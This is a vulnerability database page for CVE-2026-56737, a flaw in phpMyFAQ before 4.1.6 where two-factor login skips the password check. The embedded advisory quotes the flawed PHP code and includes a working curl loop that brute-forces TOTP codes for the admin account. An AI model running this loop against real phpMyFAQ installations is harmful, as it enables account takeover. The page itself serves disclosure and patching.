CVE-2026-56737: Thorsten/phpmyfaq PhpMyFAQ's Two-factor Authentication Login Bypasses Vulnerability
HIGHCVE-2026-56737 is a HIGH (CVSS 8.1) phpmyfaq's two-factor authentication login bypasses vulnerability (CWE-287: Improper Authentication) affecting Thorsten/phpmyfaq libraries in the Packagist ecosystem. The issue involves phpmyfaq's two-factor authentication login bypasses the password factor. Remediation is available by upgrading affected packages to version 4.1.6.
CVE-2026-56737 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-56737
To remediate this vulnerability, upgrade all affected Thorsten/phpmyfaq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade thorsten/phpmyfaq to 4.1.6
Upgrade phpmyfaq/phpmyfaq to 4.1.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for thorsten/phpmyfaq
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-56737, inspect your project dependencies for Thorsten/phpmyfaq:
inspect dependencies for thorsten/phpmyfaq
Analyze the terminal output to locate any version of Thorsten/phpmyfaq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.6), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Thorsten/phpmyfaq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-56737 Affected Thorsten/phpmyfaq Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
thorsten/phpmyfaq
|
Packagist |
≥ 3.2.0
< 4.1.6
|
4.1.6
|
|
phpmyfaq/phpmyfaq
|
Packagist |
≥ 3.2.0
< 4.1.6
|
4.1.6
|
References
Frequently Asked Questions
What is CVE-2026-56737?
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What version fixes CVE-2026-56737?
Is thorsten/phpmyfaq affected?
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What is the CVSS score of CVE-2026-56737?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8gpw-xvpf-hvx5",
"modified" : "2026-09-24T19:29:28Z",
"published" : "2026-09-24T19:29:27Z",
"aliases" : [ "CVE-2026-56737" ],
"summary" : "phpMyFAQ's two-factor authentication login bypasses the password factor",
"details" : "### Summary\nThe public two-factor verification endpoint `POST /check` logs a user in based **solely** on a valid\n6-digit TOTP token and a chosen `user-id`. It does **not** require — and is not bound to — a prior\nsuccessful password authentication. For any account that has 2FA enabled, an unauthenticated attacker\ncan authenticate **without knowing the password**, reducing the account to a single factor (a 6-digit\ncode) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an\nauthentication bypass of the primary credential for all 2FA-protected accounts, including administrators.\n\n### Details\n`src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283`:\n\n```php\n#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]\npublic function check(Request $request): RedirectResponse\n{\n if ($this->currentUser->isLoggedIn()) {\n return new RedirectResponse(url: './');\n }\n\n $token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);\n $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);\n\n if ($userId <= 0) { /* ... */ }\n\n $this->currentUserService->getUserById($userId); // loads attacker-chosen user\n\n if (strlen((string) $token) === 6) {\n $result = $this->twoFactor->validateToken($token, $userId);\n if ($result) {\n $this->currentUserService->twoFactorSuccess(); // full login, no password ever checked\n return new RedirectResponse(url: './');\n }\n }\n // ...\n}\n```\n\n`twoFactorSuccess()` performs a complete session login (`src/phpMyFAQ/User/CurrentUser.php:239-247`):\n\n```php\npublic function twoFactorSuccess(): bool\n{\n $this->setLoggedIn(true);\n $this->updateSessionId(true);\n $this->saveToSession();\n $this->setSuccess(true);\n return true;\n}\n```\n\nThere is **no server-side state** (such as a \"password already verified for this user\" flag) tying the\n`/check` step to the password step. Compare the admin flow, which does it correctly via a\n`2fa_pending_user_id` session value set only **after** the password is validated\n(`src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262`) — proving the frontend\nomission is a regression, not an intended design.\n\n`validateToken()` (`src/phpMyFAQ/User/TwoFactor.php:87-101`) returns `false` when the user has no secret,\nso this is *not* a universal bypass of all accounts — it specifically defeats the **password factor of\nevery 2FA-enabled account**:\n\n```php\npublic function validateToken(string $token, int $userId): bool\n{\n if (strlen($token) !== 6 || $userId <= 0) { return false; }\n $this->currentUser->getUserById($userId);\n $secret = $this->currentUser->getUserData('secret');\n if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false\n return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only\n}\n```\n\nBecause `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default\n(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to\n*strengthen* the password, becomes the *only* barrier and is independently guessable.\n\n### PoC\nPre-req: a target account (e.g. `admin`) has 2FA enabled (a common hardening choice). The attacker knows\nor enumerates the numeric `user-id` (1 = first/admin account in default installs).\n\n```bash\n# No password required. Submit user-id + a 6-digit TOTP guess to /check.\n# Iterate the token space; the session cookie returned on success is an authenticated session.\nfor code in $(seq -w 0 999999); do\n curl -ks -c jar.txt -b jar.txt \\\n -X POST \"https://target/check\" \\\n --data-urlencode \"user-id=1\" \\\n --data-urlencode \"token=$(printf '%06d' 10#$code)\" \\\n -o /dev/null -w \"%{http_code} %{redirect_url}\\n\" \\\n | grep -q './' && echo \"[+] logged in with token $code\" && break\ndone\n# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).\n```\nIf the attacker already controls or has phished the victim's TOTP device, a single request authenticates\nwith no password at all.\n\n### Impact\nAuthentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password —\nthe primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout,\nthis enables full account takeover of users and administrators. Impacted: any deployment where users\nenable two-factor authentication.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "thorsten/phpmyfaq"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.2.0"
}, {
"fixed" : "4.1.6"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpmyfaq/phpmyfaq"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.2.0"
}, {
"fixed" : "4.1.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-56737"
}, {
"type" : "WEB",
"url" : "https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f"
}, {
"type" : "WEB",
"url" : "https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a"
}, {
"type" : "WEB",
"url" : "https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/thorsten/phpMyFAQ"
}, {
"type" : "WEB",
"url" : "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.6"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-287" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-24T19:29:27Z",
"nvd_published_at" : "2026-09-24T16:17:07Z"
}
}